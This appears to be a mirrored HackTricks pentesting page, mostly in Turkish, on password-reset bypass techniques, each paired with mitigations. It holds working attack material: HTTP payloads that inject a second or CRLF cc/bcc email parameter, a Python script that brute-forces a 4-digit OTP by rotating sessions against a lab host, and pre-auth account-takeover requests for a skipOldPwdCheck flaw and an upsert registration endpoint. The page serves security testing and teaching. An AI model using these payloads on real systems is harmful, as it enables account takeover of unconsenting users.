mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
289 lines
14 KiB
Markdown
289 lines
14 KiB
Markdown
# Reset/Unutulmuş Parola Bypass
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|
||
|
||
## **Password Reset Token Leak Via Referrer**
|
||
|
||
- HTTP referer header, URL'de yer alıyorsa password reset token'ı leak edebilir. Bu, bir kullanıcı parola sıfırlama talep ettikten sonra üçüncü taraf bir site linkine tıkladığında gerçekleşebilir.
|
||
- **Etkisi**: Hesap ele geçirme potansiyeli Cross-Site Request Forgery (CSRF) saldırıları yoluyla.
|
||
- **Sömürme**: referer header'da password reset token leak edip etmediğini kontrol etmek için, e-posta adresinize bir **password reset** talebi gönderin ve sağlanan **reset link**e tıklayın. **Parolanızı hemen değiştirmeyin**. Bunun yerine, istekleri **Burp Suite kullanarak** yakalarken üçüncü taraf bir web sitesine (ör. Facebook veya Twitter) **gidin**. İstekleri inceleyin ve **referer header'ın password reset token içerip içermediğini** kontrol edin; bu, hassas bilgilerin üçüncü taraflara açığa çıkmasına neden olabilir.
|
||
- **Referanslar**:
|
||
- [HackerOne Report 342693](https://hackerone.com/reports/342693)
|
||
- [HackerOne Report 272379](https://hackerone.com/reports/272379)
|
||
- [Password Reset Token Leak Article](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
|
||
|
||
## **Password Reset Poisoning**
|
||
|
||
- Saldırganlar, password reset istekleri sırasında Host header'ı manipüle ederek reset linkini kötü amaçlı bir siteye yönlendirebilir.
|
||
- **Etkisi**: reset token'larının saldırganlara leaking edilmesiyle potansiyel hesap ele geçirmeye yol açar.
|
||
- **Önlemler**:
|
||
- Host header'ı izin verilen domain'lerin bir whitelist'ine karşı doğrulayın.
|
||
- Mutlak URL'ler oluşturmak için güvenli, server-side yöntemler kullanın.
|
||
- **Patch**: password reset URL'lerini oluştururken `$_SERVER['SERVER_NAME']` kullanın; `$_SERVER['HTTP_HOST']` yerine.
|
||
- **Referanslar**:
|
||
- [Acunetix Article on Password Reset Poisoning](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
|
||
|
||
## **Password Reset By Manipulating Email Parameter**
|
||
|
||
Saldırganlar, reset linkini yönlendirmek için password reset isteğine ek email parametreleri ekleyerek isteği manipüle edebilir.
|
||
|
||
- Saldırgan e-posta adresini ikinci parametre olarak & ile ekleyin
|
||
```php
|
||
POST /resetPassword
|
||
[...]
|
||
email=victim@email.com&email=attacker@email.com
|
||
```
|
||
- İkinci parametre olarak attacker email'i %20 kullanarak ekle
|
||
```php
|
||
POST /resetPassword
|
||
[...]
|
||
email=victim@email.com%20email=attacker@email.com
|
||
```
|
||
- Saldırgan e-postasını ikinci parametre olarak '|' kullanarak ekleyin
|
||
```php
|
||
POST /resetPassword
|
||
[...]
|
||
email=victim@email.com|email=attacker@email.com
|
||
```
|
||
- cc kullanarak saldırgan e-posta adresini ikinci parametre olarak ekleyin
|
||
```php
|
||
POST /resetPassword
|
||
[...]
|
||
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
|
||
```
|
||
- attacker e-posta adresini ikinci parametre olarak bcc ile ekle
|
||
```php
|
||
POST /resetPassword
|
||
[...]
|
||
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
|
||
```
|
||
- İkinci parametre olarak attacker email kullanarak ekleyin,
|
||
```php
|
||
POST /resetPassword
|
||
[...]
|
||
email="victim@mail.tld",email="attacker@mail.tld"
|
||
```
|
||
- json dizisinde ikinci parametre olarak saldırgan e-posta adresini ekleyin
|
||
```php
|
||
POST /resetPassword
|
||
[...]
|
||
{"email":["victim@mail.tld","atracker@mail.tld"]}
|
||
```
|
||
- **Azaltma Adımları**:
|
||
- Email parametrelerini sunucu tarafında doğru şekilde ayrıştırın ve doğrulayın.
|
||
- injection attacks'ı önlemek için prepared statements veya parameterized queries kullanın.
|
||
- **Kaynaklar**:
|
||
- [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
|
||
- [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
|
||
- [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872)
|
||
|
||
## **Herhangi Bir Kullanıcının Email ve Password'ünü API Parametreleriyle Değiştirme**
|
||
|
||
- Saldırganlar, hesap kimlik bilgilerini değiştirmek için API isteklerindeki email ve password parametrelerini değiştirebilir.
|
||
```php
|
||
POST /api/changepass
|
||
[...]
|
||
("form": {"email":"victim@email.tld","password":"12345678"})
|
||
```
|
||
- **Önleme Adımları**:
|
||
- Parametre doğrulamasını ve kimlik doğrulama kontrollerini sıkı tutun.
|
||
- Şüpheli etkinlikleri tespit etmek ve yanıt vermek için sağlam loglama ve izleme uygulayın.
|
||
- **Reference**:
|
||
- [Full Account Takeover via API Parameter Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
|
||
|
||
## **No Rate Limiting: Email Bombing**
|
||
|
||
- Parola sıfırlama isteklerinde rate limiting olmaması, kullanıcıyı reset e-postalarıyla bunaltan email bombing'e yol açabilir.
|
||
- **Önleme Adımları**:
|
||
- IP adresi veya kullanıcı hesabına dayalı rate limiting uygulayın.
|
||
- Otomatik kötüye kullanımı önlemek için CAPTCHA doğrulamaları kullanın.
|
||
- **References**:
|
||
- [HackerOne Report 280534](https://hackerone.com/reports/280534)
|
||
|
||
## **Find out How Password Reset Token is Generated**
|
||
|
||
- Password Reset Token'ın üretimindeki desen veya yöntemi anlamak, tokenları tahmin etmeye veya brute-force yapmaya yol açabilir. Bazı seçenekler:
|
||
- Timestamp'e dayalı
|
||
- UserID'e dayalı
|
||
- Kullanıcının email'ine dayalı
|
||
- Firstname ve Lastname'e dayalı
|
||
- Doğum tarihine dayalı
|
||
- Kriptografiye dayalı
|
||
- **Önleme Adımları**:
|
||
- Token üretimi için güçlü, kriptografik yöntemler kullanın.
|
||
- Öngörülebilirliği önlemek için yeterli rastgelelik ve uzunluk sağlayın.
|
||
- **Araçlar**: Tokenların rastgeleliğini analiz etmek için Burp Sequencer kullanın.
|
||
|
||
## **Guessable UUID**
|
||
|
||
- Eğer UUID'ler (version 1) tahmin edilebilir veya öngörülebilir ise, saldırganlar geçerli reset token'ları üretmek için brute-force yapabilir. Kontrol edin:
|
||
|
||
|
||
{{#ref}}
|
||
uuid-insecurities.md
|
||
{{#endref}}
|
||
|
||
- **Önleme Adımları**:
|
||
- Rastgelelik için GUID version 4 kullanın veya diğer versiyonlar için ek güvenlik önlemleri uygulayın.
|
||
- **Araçlar**: GUID'leri analiz etmek ve oluşturmak için [guidtool](https://github.com/intruder-io/guidtool) kullanın.
|
||
|
||
## **Response Manipulation: Replace Bad Response With Good One**
|
||
|
||
- Hata mesajlarını veya kısıtlamaları atlatmak için HTTP yanıtlarını manipüle etme.
|
||
- **Önleme Adımları**:
|
||
- Yanıt bütünlüğünü sağlamak için sunucu tarafı kontrolleri uygulayın.
|
||
- Man-in-the-middle saldırılarını önlemek için HTTPS gibi güvenli iletişim kanalları kullanın.
|
||
- **Reference**:
|
||
- [Critical Bug in Live Bug Bounty Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
|
||
|
||
## **Using Expired Token**
|
||
|
||
- Süresi dolmuş tokenların parola sıfırlama için hala kullanılıp kullanılamayacağını test etme.
|
||
- **Önleme Adımları**:
|
||
- Sıkı token süre sonu politikaları uygulayın ve token süresini sunucu tarafında doğrulayın.
|
||
|
||
## **Brute Force Password Reset Token**
|
||
|
||
- IP tabanlı rate limitleri atlatmak için Burpsuite ve IP-Rotator gibi araçları kullanarak reset token'ı brute-force yapmayı deneme.
|
||
- **Önleme Adımları**:
|
||
- Güçlü rate-limiting ve hesap kilitleme mekanizmaları uygulayın.
|
||
- Brute-force saldırılarını işaret eden şüpheli etkinlikleri izleyin.
|
||
|
||
## **Try Using Your Token**
|
||
|
||
- Bir saldırganın reset token'ının mağdurun email'i ile birlikte kullanılıp kullanılamayacağını test etme.
|
||
- **Önleme Adımları**:
|
||
- Tokenların kullanıcı oturumuna veya başka kullanıcıya özgü özelliklere bağlandığından emin olun.
|
||
|
||
## **Session Invalidation in Logout/Password Reset**
|
||
|
||
- Bir kullanıcı çıkış yaptığında veya parolasını sıfırladığında oturumların geçersiz kılındığından emin olma.
|
||
- **Önleme Adımları**:
|
||
- Tüm oturumların çıkış veya parola sıfırlama sırasında geçersiz kılındığından emin olarak uygun oturum yönetimi uygulayın.
|
||
|
||
## **Session Invalidation in Logout/Password Reset**
|
||
|
||
- Reset tokenların geçersiz hale geldiği bir süre sonu olmalıdır.
|
||
- **Önleme Adımları**:
|
||
- Reset tokenları için makul bir süre sonu belirleyin ve bunu sunucu tarafında sıkı şekilde uygulayın.
|
||
|
||
## **OTP rate limit bypass by changing your session**
|
||
|
||
- Site yanlış OTP denemelerini izlemek için kullanıcı oturumu kullanıyorsa ve OTP zayıfsa (<= 4 basamak) OTP'yi etkili şekilde bruteforce edebiliriz.
|
||
- **istismar**:
|
||
- Sunucu tarafından engellendikten sonra yeni bir session token isteyin.
|
||
- **Örnek** kodu bu hatayı rastgele OTP tahminiyle sömürüyor (oturumu değiştirdiğinizde OTP de değişir, bu yüzden sıralı brute-force yapamayız!):
|
||
|
||
``` python
|
||
# Authentication bypass by password reset
|
||
# by coderMohammed
|
||
import requests
|
||
import random
|
||
from time import sleep
|
||
|
||
headers = {
|
||
"User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1",
|
||
"Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea"
|
||
}
|
||
url = "http://10.10.12.231:1337/reset_password.php"
|
||
logout = "http://10.10.12.231:1337/logout.php"
|
||
root = "http://10.10.12.231:1337/"
|
||
|
||
parms = dict()
|
||
ter = 0
|
||
phpsessid = ""
|
||
|
||
print("[+] Starting attack!")
|
||
sleep(3)
|
||
print("[+] This might take around 5 minutes to finish!")
|
||
|
||
try:
|
||
while True:
|
||
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # random number from 0 - 9999 with 4 d
|
||
parms["s"] = 164 # not important it only efects the frontend
|
||
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)
|
||
|
||
if ter == 8: # follow number of trails
|
||
out = requests.get(logout,headers=headers) # log u out
|
||
mainp = requests.get(root) # gets another phpssid (token)
|
||
|
||
cookies = out.cookies # extract the sessionid
|
||
phpsessid = cookies.get('PHPSESSID')
|
||
headers["cookies"]=f"PHPSESSID={phpsessid}" #update the headers with new session
|
||
|
||
reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # sends the email to change the password for
|
||
ter = 0 # reset ter so we get a new session after 8 trails
|
||
else:
|
||
ter += 1
|
||
if(len(res.text) == 2292): # this is the length of the page when u get the recovery code correctly (got by testing)
|
||
print(len(res.text)) # for debug info
|
||
print(phpsessid)
|
||
|
||
reset_data = { # here we will change the password to somthing new
|
||
"new_password": "D37djkamd!",
|
||
"confirm_password": "D37djkamd!"
|
||
}
|
||
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)
|
||
|
||
print("[+] Password has been changed to:D37djkamd!")
|
||
break
|
||
except Exception as e:
|
||
print("[+] Attck stopped")
|
||
```
|
||
|
||
## Arbitrary password reset via skipOldPwdCheck (pre-auth)
|
||
|
||
Some implementations expose a password change action that calls the password-change routine with skipOldPwdCheck=true and does not verify any reset token or ownership. If the endpoint accepts an action parameter like change_password and a username/new password in the request body, an attacker can reset arbitrary accounts pre-auth.
|
||
|
||
Vulnerable pattern (PHP):
|
||
```php
|
||
// hub/rpwd.php
|
||
RequestHandler::validateCSRFToken();
|
||
$RP = new RecoverPwd();
|
||
$RP->process($_REQUEST, $_POST);
|
||
|
||
// modules/Users/RecoverPwd.php
|
||
if ($request['action'] == 'change_password') {
|
||
$body = $this->displayChangePwd($smarty, $post['user_name'], $post['confirm_new_password']);
|
||
}
|
||
|
||
public function displayChangePwd($smarty, $username, $newpwd) {
|
||
$current_user = CRMEntity::getInstance('Users');
|
||
$current_user->id = $current_user->retrieve_user_id($username);
|
||
// ... criteria checks omitted ...
|
||
$current_user->change_password('oldpwd', $_POST['confirm_new_password'], true, true); // skipOldPwdCheck=true
|
||
emptyUserAuthtokenKey($this->user_auth_token_type, $current_user->id);
|
||
}
|
||
```
|
||
Exploitation isteği (kavram):
|
||
```http
|
||
POST /hub/rpwd.php HTTP/1.1
|
||
Content-Type: application/x-www-form-urlencoded
|
||
|
||
action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd!
|
||
```
|
||
Mitigations:
|
||
- Parola değişikliğinden önce, hesaba ve oturuma bağlı, geçerli ve zaman sınırlı bir reset tokenı her zaman talep edin.
|
||
- skipOldPwdCheck path'larını kimlik doğrulanmamış kullanıcılara asla açmayın; normal parola değişiklikleri için kimlik doğrulamayı zorunlu kılın ve eski parolayı doğrulayın.
|
||
- Parola değişikliğinden sonra tüm aktif oturumları ve reset tokenlarını geçersiz kılın.
|
||
|
||
## Kayıt-olarak-Parola-Sıfırlama (Upsert on Existing Email)
|
||
|
||
Bazı uygulamalar signup handler'ını upsert olarak uygular. Eğer e-posta zaten mevcutsa, handler isteği reddetmek yerine kullanıcı kaydını sessizce günceller. Registration endpoint'i mevcut bir e-posta ve yeni bir parolayı içeren minimal bir JSON body kabul ettiğinde, bu teknik olarak herhangi bir sahiplik doğrulaması olmadan pre-auth password reset'e dönüşür ve tam hesap ele geçirilmesine izin verir.
|
||
|
||
Pre-auth ATO PoC (mevcut bir kullanıcının şifresinin üzerine yazma):
|
||
```http
|
||
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
|
||
Host: www.target.tld
|
||
Content-Type: application/json
|
||
|
||
{"email":"victim@example.com","password":"New@12345"}
|
||
```
|
||
## Referanslar
|
||
|
||
- [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
|
||
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||
- [How I Found a Critical Password Reset Bug (Registration upsert ATO)](https://s41n1k.medium.com/how-i-found-a-critical-password-reset-bug-in-the-bb-program-and-got-4-000-a22fffe285e1)
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|